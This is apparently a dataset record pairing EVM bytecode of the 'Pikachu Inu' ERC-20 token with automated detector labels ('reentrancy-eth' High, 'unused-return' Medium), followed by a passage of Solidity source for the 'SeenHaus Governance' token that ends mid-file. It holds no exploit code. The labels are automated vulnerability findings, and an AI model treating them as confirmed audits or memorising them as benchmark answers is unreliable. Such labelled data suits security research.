0x6080604052600436106101235760003560e01c8063842b7c08116100a0578063c3c8cd8011610064578063c3c8cd80146103cc578063c9567bf9146103e3578063cfe81ba0146103fa578063d543dbeb14610423578063dd62ed3e1461044c5761012a565b8063842b7c08146102e75780638da5cb5b1461031057806395d89b411461033b578063a9059cbb14610366578063b515566a146103a35761012a565b8063313ce567116100e7578063313ce567146102285780635932ead1146102535780636fc3eaec1461027c57806370a0823114610293578063715018a6146102d05761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063273123b7146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b6040516101519190612d5d565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612880565b6104c6565b60405161018e9190612d42565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b99190612eff565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612831565b6104f8565b6040516101f69190612d42565b60405180910390f35b34801561020b57600080fd5b50610226600480360381019061022191906127a3565b6105d1565b005b34801561023457600080fd5b5061023d6106c1565b60405161024a9190612f74565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906128fd565b6106ca565b005b34801561028857600080fd5b5061029161077c565b005b34801561029f57600080fd5b506102ba60048036038101906102b591906127a3565b6107ee565b6040516102c79190612eff565b60405180910390f35b3480156102dc57600080fd5b506102e561083f565b005b3480156102f357600080fd5b5061030e6004803603810190610309919061294f565b610992565b005b34801561031c57600080fd5b50610325610a33565b6040516103329190612c74565b60405180910390f35b34801561034757600080fd5b50610350610a5c565b60405161035d9190612d5d565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612880565b610a99565b60405161039a9190612d42565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c591906128bc565b610ab7565b005b3480156103d857600080fd5b506103e1610c07565b005b3480156103ef57600080fd5b506103f8610c81565b005b34801561040657600080fd5b50610421600480360381019061041c919061294f565b6111e4565b005b34801561042f57600080fd5b5061044a6004803603810190610445919061294f565b611285565b005b34801561045857600080fd5b50610473600480360381019061046e91906127f5565b6113d1565b6040516104809190612eff565b60405180910390f35b60606040518060400160405280600b81526020017f50696b6163687520496e75000000000000000000000000000000000000000000815250905090565b60006104da6104d3611458565b8484611460565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061050584848461162b565b6105c684610511611458565b6105c18560405180606001604052806028815260200161363860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610577611458565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b099092919063ffffffff16565b611460565b600190509392505050565b6105d9611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d90612e5f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106d2611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075690612e5f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107bd611458565b73ffffffffffffffffffffffffffffffffffffffff16146107dd57600080fd5b60004790506107eb81611b6d565b50565b6000610838600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c68565b9050919050565b610847611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb90612e5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d3611458565b73ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612d9f565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f50494b4100000000000000000000000000000000000000000000000000000000815250905090565b6000610aad610aa6611458565b848461162b565b6001905092915050565b610abf611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4390612e5f565b60405180910390fd5b60005b8151811015610c0357600160066000848481518110610b97577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bfb90613215565b915050610b4f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c48611458565b73ffffffffffffffffffffffffffffffffffffffff1614610c6857600080fd5b6000610c73306107ee565b9050610c7e81611cd6565b50565b610c89611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90612e5f565b60405180910390fd5b600f60149054906101000a900460ff1615610d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5d90612edf565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611460565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3f57600080fd5b505afa158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7791906127cc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed957600080fd5b505afa158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1191906127cc565b6040518363ffffffff1660e01b8152600401610f2e929190612c8f565b602060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8091906127cc565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611009306107ee565b600080611014610a33565b426040518863ffffffff1660e01b815260040161103696959493929190612ce1565b6060604051808303818588803b15801561104f57600080fd5b505af1158015611063573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110889190612978565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce80000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161118e929190612cb8565b602060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e09190612926565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611225611458565b73ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127290612d9f565b60405180910390fd5b80600b8190555050565b61128d611458565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612e5f565b60405180910390fd5b6000811161135d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135490612e1f565b60405180910390fd5b61138f6064611381836b033b2e3c9fd0803ce8000000611fd090919063ffffffff16565b61204b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516113c69190612eff565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c790612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612ddf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161161e9190612eff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612e9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290612d7f565b60405180910390fd5b6000811161174e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174590612e7f565b60405180910390fd5b611756610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610a33565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611af957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600f60179054906101000a900460ff165b15611a3f576010548111156119a357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119ee57600080fd5b601e426119fb9190613035565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a4a306107ee565b9050600f60159054906101000a900460ff16158015611ab75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611acf5750600f60169054906101000a900460ff165b15611af757611add81611cd6565b60004790506000811115611af557611af447611b6d565b5b505b505b611b04838383612095565b505050565b6000838311158290611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b489190612d5d565b60405180910390fd5b5060008385611b609190613116565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bbd60028461204b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3960028461204b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c64573d6000803e3d6000fd5b5050565b6000600854821115611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca690612dbf565b60405180910390fd5b6000611cb96120a5565b9050611cce818461204b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d34577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d625781602001602082028036833780820191505090505b5090503081600081518110611da0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e4257600080fd5b505afa158015611e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7a91906127cc565b81600181518110611eb4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611460565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f7f959493929190612f1a565b600060405180830381600087803b158015611f9957600080fd5b505af1158015611fad573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415611fe35760009050612045565b60008284611ff191906130bc565b9050828482612000919061308b565b14612040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203790612e3f565b60405180910390fd5b809150505b92915050565b600061208d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120d0565b905092915050565b6120a0838383612133565b505050565b60008060006120b26122fe565b915091506120c9818361204b90919063ffffffff16565b9250505090565b60008083118290612117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210e9190612d5d565b60405180910390fd5b5060008385612126919061308b565b9050809150509392505050565b60008060008060008061214587612369565b9550955095509550955095506121a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228481612479565b61228e8483612536565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122eb9190612eff565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061233a6b033b2e3c9fd0803ce800000060085461204b90919063ffffffff16565b82101561235c576008546b033b2e3c9fd0803ce8000000935093505050612365565b81819350935050505b9091565b60008060008060008060008060006123868a600a54600b54612570565b92509250925060006123966120a5565b905060008060006123a98e878787612606565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b09565b905092915050565b600080828461242a9190613035565b90508381101561246f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246690612dff565b60405180910390fd5b8091505092915050565b60006124836120a5565b9050600061249a8284611fd090919063ffffffff16565b90506124ee81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61254b826008546123d190919063ffffffff16565b6008819055506125668160095461241b90919063ffffffff16565b6009819055505050565b60008060008061259c606461258e888a611fd090919063ffffffff16565b61204b90919063ffffffff16565b905060006125c660646125b8888b611fd090919063ffffffff16565b61204b90919063ffffffff16565b905060006125ef826125e1858c6123d190919063ffffffff16565b6123d190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261f8589611fd090919063ffffffff16565b905060006126368689611fd090919063ffffffff16565b9050600061264d8789611fd090919063ffffffff16565b905060006126768261266885876123d190919063ffffffff16565b6123d190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126a261269d84612fb4565b612f8f565b905080838252602082019050828560208602820111156126c157600080fd5b60005b858110156126f157816126d788826126fb565b8452602084019350602083019250506001810190506126c4565b5050509392505050565b60008135905061270a816135f2565b92915050565b60008151905061271f816135f2565b92915050565b600082601f83011261273657600080fd5b813561274684826020860161268f565b91505092915050565b60008135905061275e81613609565b92915050565b60008151905061277381613609565b92915050565b60008135905061278881613620565b92915050565b60008151905061279d81613620565b92915050565b6000602082840312156127b557600080fd5b60006127c3848285016126fb565b91505092915050565b6000602082840312156127de57600080fd5b60006127ec84828501612710565b91505092915050565b6000806040838503121561280857600080fd5b6000612816858286016126fb565b9250506020612827858286016126fb565b9150509250929050565b60008060006060848603121561284657600080fd5b6000612854868287016126fb565b9350506020612865868287016126fb565b925050604061287686828701612779565b9150509250925092565b6000806040838503121561289357600080fd5b60006128a1858286016126fb565b92505060206128b285828601612779565b9150509250929050565b6000602082840312156128ce57600080fd5b600082013567ffffffffffffffff8111156128e857600080fd5b6128f484828501612725565b91505092915050565b60006020828403121561290f57600080fd5b600061291d8482850161274f565b91505092915050565b60006020828403121561293857600080fd5b600061294684828501612764565b91505092915050565b60006020828403121561296157600080fd5b600061296f84828501612779565b91505092915050565b60008060006060848603121561298d57600080fd5b600061299b8682870161278e565b93505060206129ac8682870161278e565b92505060406129bd8682870161278e565b9150509250925092565b60006129d383836129df565b60208301905092915050565b6129e88161314a565b82525050565b6129f78161314a565b82525050565b6000612a0882612ff0565b612a128185613013565b9350612a1d83612fe0565b8060005b83811015612a4e578151612a3588826129c7565b9750612a4083613006565b925050600181019050612a21565b5085935050505092915050565b612a648161315c565b82525050565b612a738161319f565b82525050565b6000612a8482612ffb565b612a8e8185613024565b9350612a9e8185602086016131b1565b612aa7816132eb565b840191505092915050565b6000612abf602383613024565b9150612aca826132fc565b604082019050919050565b6000612ae2600c83613024565b9150612aed8261334b565b602082019050919050565b6000612b05602a83613024565b9150612b1082613374565b604082019050919050565b6000612b28602283613024565b9150612b33826133c3565b604082019050919050565b6000612b4b601b83613024565b9150612b5682613412565b602082019050919050565b6000612b6e601d83613024565b9150612b798261343b565b602082019050919050565b6000612b91602183613024565b9150612b9c82613464565b604082019050919050565b6000612bb4602083613024565b9150612bbf826134b3565b602082019050919050565b6000612bd7602983613024565b9150612be2826134dc565b604082019050919050565b6000612bfa602583613024565b9150612c058261352b565b604082019050919050565b6000612c1d602483613024565b9150612c288261357a565b604082019050919050565b6000612c40601783613024565b9150612c4b826135c9565b602082019050919050565b612c5f81613188565b82525050565b612c6e81613192565b82525050565b6000602082019050612c8960008301846129ee565b92915050565b6000604082019050612ca460008301856129ee565b612cb160208301846129ee565b9392505050565b6000604082019050612ccd60008301856129ee565b612cda6020830184612c56565b9392505050565b600060c082019050612cf660008301896129ee565b612d036020830188612c56565b612d106040830187612a6a565b612d1d6060830186612a6a565b612d2a60808301856129ee565b612d3760a0830184612c56565b979650505050505050565b6000602082019050612d576000830184612a5b565b92915050565b60006020820190508181036000830152612d778184612a79565b905092915050565b60006020820190508181036000830152612d9881612ab2565b9050919050565b60006020820190508181036000830152612db881612ad5565b9050919050565b60006020820190508181036000830152612dd881612af8565b9050919050565b60006020820190508181036000830152612df881612b1b565b9050919050565b60006020820190508181036000830152612e1881612b3e565b9050919050565b60006020820190508181036000830152612e3881612b61565b9050919050565b60006020820190508181036000830152612e5881612b84565b9050919050565b60006020820190508181036000830152612e7881612ba7565b9050919050565b60006020820190508181036000830152612e9881612bca565b9050919050565b60006020820190508181036000830152612eb881612bed565b9050919050565b60006020820190508181036000830152612ed881612c10565b9050919050565b60006020820190508181036000830152612ef881612c33565b9050919050565b6000602082019050612f146000830184612c56565b92915050565b600060a082019050612f2f6000830188612c56565b612f3c6020830187612a6a565b8181036040830152612f4e81866129fd565b9050612f5d60608301856129ee565b612f6a6080830184612c56565b9695505050505050565b6000602082019050612f896000830184612c65565b92915050565b6000612f99612faa565b9050612fa582826131e4565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcf57612fce6132bc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061304082613188565b915061304b83613188565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130805761307f61325e565b5b828201905092915050565b600061309682613188565b91506130a183613188565b9250826130b1576130b061328d565b5b828204905092915050565b60006130c782613188565b91506130d283613188565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561310b5761310a61325e565b5b828202905092915050565b600061312182613188565b915061312c83613188565b92508282101561313f5761313e61325e565b5b828203905092915050565b600061315582613168565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131aa82613188565b9050919050565b60005b838110156131cf5780820151818401526020810190506131b4565b838111156131de576000848401525b50505050565b6131ed826132eb565b810181811067ffffffffffffffff8211171561320c5761320b6132bc565b5b80604052505050565b600061322082613188565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132535761325261325e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135fb8161314a565b811461360657600080fd5b50565b6136128161315c565b811461361d57600080fd5b50565b61362981613188565b811461363457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220182b9b4ec9bd33a9c0b7f728e802861e6139d2093a15bbd8f7834ba6f9187bd464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,669 |
0x38747baf050d3c22315a761585868dba16abfd89
|
/**
*Submitted for verification at Etherscan.io on 2021-04-13
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GovERC20 {
/// @notice EIP-20 token name for this token
string public constant name = "SeenHaus Governance";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "xSEEN";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
uint public totalSupply;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
